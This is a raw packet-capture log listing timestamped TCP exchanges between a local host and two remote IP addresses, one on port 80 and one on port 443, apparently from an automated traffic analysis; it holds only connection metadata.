Dec 17, 2024 22:06:26.402131081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.402874947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.402929068 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.402931929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.402981043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.403702974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.403791904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.403793097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.404071093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.404535055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.404584885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.404608011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.404655933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.405437946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.405494928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.405523062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.405567884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.406230927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.406277895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.406311989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.406353951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.407109976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.407170057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.407227039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.407278061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.407964945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.407984018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.408011913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.408035040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.408777952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.408790112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.408823013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.408852100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.409586906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.409630060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.409723997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.409763098 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.410470009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.410516024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.410545111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.410587072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.411294937 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.411359072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.411509991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.411560059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.412125111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.412192106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.412262917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.412373066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.412940979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.412995100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.413098097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.413144112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.413932085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.413944006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.413980961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.414006948 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.414735079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.414787054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.414808035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.414851904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.415565014 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.415611982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.415678978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.415713072 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.416357040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.416407108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.416480064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.416520119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.417211056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.417272091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.417306900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.417421103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.418030024 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.418075085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.418085098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.418123960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.418891907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.418903112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.418942928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.418962002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.419708967 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.419742107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.419764996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.419778109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.420558929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.420612097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.420797110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.420839071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.421425104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.421468973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.421515942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.421556950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.422292948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.422306061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.422380924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.570677996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.570746899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.570790052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.570837975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.570974112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.570990086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.571024895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.571049929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.571734905 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.571784973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.571861982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.571906090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.572602987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.572648048 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.572649002 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.572685957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.573579073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.573622942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.573740005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.573784113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.574284077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.574328899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.574497938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.574542046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.575098038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.575141907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.575176001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.575218916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.576095104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.576107025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.576145887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.576821089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.576864958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.576939106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.576991081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.577619076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.577662945 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.577666998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.577708006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.578516960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.578560114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.578577995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.578619003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.579327106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.579380989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.579469919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.579511881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.580207109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.580223083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.580251932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.580271959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.581242085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.581301928 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.581353903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.581403017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.581978083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.582027912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.582134008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.582181931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.582731962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.582782984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.582834959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.582876921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.583559990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.583611965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.583769083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.583811998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.584367990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.584425926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.584584951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.584645987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.585289001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.585360050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.585385084 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.585429907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.586078882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.586122990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.586123943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.586167097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.586910963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.586946011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.586956024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.586990118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.587737083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.587785959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.587923050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.587966919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.588602066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.588643074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.588684082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.588725090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.589498043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.589585066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.589633942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.590473890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.590583086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.590629101 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.591376066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.591444016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.591489077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.591949940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.591995001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.592080116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.592714071 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.592820883 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.592875957 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.592895031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.592992067 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.593688965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.593746901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.593751907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.593883038 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.594538927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.594566107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.594624996 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.594646931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.595376968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.595396996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.595448017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.596205950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.596271038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.596323967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.597073078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.597129107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.597177982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.597877979 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.598001957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.598053932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.598716974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.598769903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.598824978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.599569082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.599621058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.599669933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.600435972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.600487947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.600493908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.601218939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.601269007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.601351976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.601768970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.602128029 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.602148056 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.602190971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.602983952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.603044987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.603102922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.603826046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.604000092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.604063988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.604716063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.604763031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.604813099 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.605612993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.605756998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.605812073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.606458902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.606652975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.606709003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.607326984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.607445002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.607496977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.608160019 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.608181000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.608226061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.609004974 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.609127045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.609183073 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.609746933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.609878063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.609927893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.610513926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.610637903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.610702991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.611398935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.611459017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.611591101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.612257004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.612276077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.612320900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.612363100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.613110065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.613286018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.613352060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.613902092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.614011049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.614072084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.614732027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.614789963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.763266087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.763365984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.763489962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.763716936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.763808012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.763881922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.764646053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.764661074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.764730930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.765408039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.765752077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.765795946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.765815020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.765840054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.766568899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.766599894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.766654968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.767384052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.767416000 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.767477036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.768254042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.768507957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.768585920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.769088984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.769191027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.769251108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.769865036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.769946098 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.769972086 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.770009041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.770174026 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.770227909 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.770243883 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.770353079 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.770406008 CET	49800	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:26.770412922 CET	443	49800	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:26.770683050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.770802021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.770864010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.771575928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.771644115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.771724939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.772456884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.772516966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.772555113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.773250103 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.773278952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.773309946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.773344994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.774097919 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.774249077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.774303913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.774898052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.775029898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.775068998 CET	49793	80	192.168.2.4	31.41.244.11
